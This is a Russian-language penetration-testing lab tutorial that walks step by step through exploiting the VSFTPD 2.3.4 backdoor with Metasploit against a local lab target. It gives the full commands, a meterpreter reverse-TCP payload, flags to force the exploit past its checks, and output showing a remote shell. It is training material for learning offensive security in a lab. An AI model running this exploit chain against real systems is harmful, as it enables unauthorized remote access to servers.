Введение
Добро пожаловать в мир тестирования на проникновение с помощью Metasploit! Metasploit Framework — это мощный инструмент с открытым исходным кодом, который используется специалистами по кибербезопасности для поиска уязвимостей в сетях и на серверах.
В этой лабораторной работе вы пройдете путь классического и прямолинейного эксплойта. Мы подготовили симулированную среду, в которой сервер работает под управлением уязвимой версии VSFTPD (Very Secure FTP Daemon), а именно версии 2.3.4. Эта конкретная версия содержит широко известный бэкдор, который был тайно добавлен в исходный код.
Ваша цель — использовать консоль Metasploit (msfconsole), чтобы найти, настроить и запустить эксплойт против этой службы для получения командной оболочки на целевой системе. Это практическое упражнение научит вас фундаментальному рабочему процессу использования Metasploit для выполнения простого эксплойта.
Давайте начнем!
Выбор эксплойта для уязвимой службы с помощью use exploit/unix/ftp/vsftpd_234_backdoor
На этом этапе вы запустите консоль Metasploit и выберете подходящий модуль эксплойта для бэкдора в VSFTPD 2.3.4. msfconsole является основным интерфейсом для работы с Metasploit Framework.
Сначала запустите консоль Metasploit. Мы будем использовать флаг -q (quiet), чтобы пропустить баннер и ускорить запуск.
msfconsole -q
После загрузки консоли приглашение изменится на msf >. Теперь вам нужно указать Metasploit, какой эксплойт вы хотите использовать. Команда use загружает конкретный модуль. Модуль для бэкдора VSFTPD 2.3.4 находится по пути exploit/unix/ftp/vsftpd_234_backdoor.
Выполните следующую команду в консоли Metasploit:
use exploit/unix/ftp/vsftpd_234_backdoor
После выполнения команды вы заметите, что приглашение изменилось и теперь включает имя выбранного модуля эксплойта. Это означает, что модуль активен и готов к настройке.
В зависимости от вашей версии Metasploit, полезная нагрузка (payload) может быть выбрана автоматически (например, cmd/linux/http/x86/meterpreter_reverse_tcp). Эта полезная нагрузка требует двух настроек:
- LHOST — IP-адрес, на котором Metasploit ожидает обратное соединение. Для этой лабораторной работы используйте
127.0.0.1:
set LHOST 127.0.0.1
- Encoder — Стандартный кодировщик может выдать ошибку "All encoders failed to encode." Установите кодировщик в значение
generic/none, чтобы избежать кодирования:
set Encoder generic/none
Установка целевого IP с помощью set RHOSTS target_ip
На этом этапе вы настроите эксплойт, указав IP-адрес целевого хоста. Большинство модулей Metasploit требуют указания цели. Опция для удаленного целевого хоста (или хостов) называется RHOSTS.
Поскольку уязвимая FTP-служба запущена на той же машине, где находитесь вы (наша лабораторная среда), вы можете использовать IP-адрес обратной петли (loopback), который равен 127.0.0.1.
Чтобы установить эту опцию, используйте команду set, за которой следует имя опции (RHOSTS) и ее значение (127.0.0.1).
Введите следующую команду в вашей msfconsole:
set RHOSTS 127.0.0.1
Metasploit подтвердит настройку, выведя имя опции и ее новое значение.
RHOSTS => 127.0.0.1
Теперь вы указали Metasploit, куда направлять атаку.
Проверка параметров эксплойта с помощью show options
На этом этапе вы убедитесь, что все необходимые параметры для эксплойта установлены правильно перед его запуском. Это критически важная практика, гарантирующая, что эксплойт настроен корректно.
Команда show options отображает все настраиваемые параметры для текущего загруженного модуля, их текущие значения и информацию о том, являются ли они обязательными.
Выполните следующую команду в вашей msfconsole:
show options
Вы увидите таблицу с параметрами модуля и параметрами полезной нагрузки.
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)
Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
...
Изучите вывод. Убедитесь, что RHOSTS равен 127.0.0.1, а LHOST также равен 127.0.0.1. RPORT должен быть 21 (FTP). Теперь, когда все обязательные параметры установлены, вы готовы к продолжению.
Выполнение эксплойта с помощью команды exploit
Теперь, когда эксплойт настроен, вы запустите его против цели. Команда exploit (которую можно сократить до run) запускает атаку на основе текущего модуля и настроек.
Запустите эксплойт, введя следующую команду и нажав Enter:
exploit
УСТРАНЕНИЕ НЕПОЛАДОК: Если вы видите
Msf::OptionValidateError One or more options failed to validate: LHOST, выполнитеset LHOST 127.0.0.1. Если вы видитеAll encoders failed to encode, выполнитеset Encoder generic/none, чтобы отключить кодирование. Если вы видитеExploit aborted due to failure: not-vulnerableилиThe target is not exploitable, выполнитеset ForceExploit true(илиset AutoCheck false). Затем снова запуститеexploit.
ПРЕДУПРЕЖДЕНИЕ: Первая попытка может завершиться ошибкой "Unable to connect to backdoor on 6200/TCP. Cooldown?" или "Exploit completed, but no session was created." Если это произошло, просто выполните команду
exploitеще раз — вторая попытка должна быть успешной.
Metasploit начнет эксплуатацию бэкдора. Вы увидите вывод, детализирующий шаги атаки. В случае успеха будет активирован бэкдор и открыта сессия Meterpreter.
[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >
Важно: После успешного выполнения эксплойта вы попадете в приглашение Meterpreter. Это и есть успешный удаленный доступ! Вы можете выполнить shell, чтобы получить интерактивную командную оболочку, а затем запустить whoami или id, чтобы подтвердить наличие доступа:
shell
Process 1234 created.
Channel 1 created.
whoami
labex
Поздравляем, вы успешно получили удаленный доступ!
Проверка сессии с помощью sessions -l
На этом этапе вы узнаете, как управлять активным соединением или «сессией», которую вы только что открыли. Metasploit позволяет иметь несколько открытых сессий одновременно и переключаться между ними.
Сначала, чтобы вернуться к приглашению msfconsole, не закрывая сессию, вам нужно перевести ее в фоновый режим. Нажмите Ctrl+Z на клавиатуре. Если вы находитесь внутри оболочки (после запуска shell), введите y, чтобы перевести канал в фоновый режим — вы вернетесь к meterpreter >. Нажмите Ctrl+Z еще раз и введите y при появлении запроса, чтобы перевести сессию в фоновый режим:
Background session 1? [y/N] y
msf exploit(unix/ftp/vsftpd_234_backdoor) >
Команда sessions работает только в основном приглашении Metasploit (msf exploit(...) >), а не внутри Meterpreter. Теперь вы вернулись в основное приглашение Metasploit. Чтобы увидеть список всех активных сессий, используйте команду sessions с флагом -l (list).
sessions -l
Это отобразит таблицу всех сессий в фоновом режиме, включая их ID, тип и информацию о соединении.
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)
Вы видите свою сессию с ID 1. Если бы вы захотели снова взаимодействовать с ней, вы бы использовали команду sessions -i 1. Управление сессиями — это ключевая функция Metasploit.
Резюме
Поздравляем! Вы успешно завершили эту лабораторную работу и выполнили свой первый эксплойт с помощью Metasploit Framework.
В этой работе вы изучили фундаментальный рабочий процесс тестирования на проникновение с помощью Metasploit:
- Запуск консоли Metasploit (
msfconsole). - Выбор конкретного модуля эксплойта с помощью команды
use. - Настройка цели модуля с помощью команды
set. - Проверка конфигурации с помощью
show options. - Запуск атаки с помощью команды
exploit. - Управление полученным соединением с помощью
sessions.
Этот базовый шаблон «выбрать, настроить, эксплуатировать» является основой практически всех действий, которые вы будете выполнять в Metasploit. Теперь вы обладаете базовыми знаниями, необходимыми для изучения более сложных эксплойтов и полезных нагрузок.



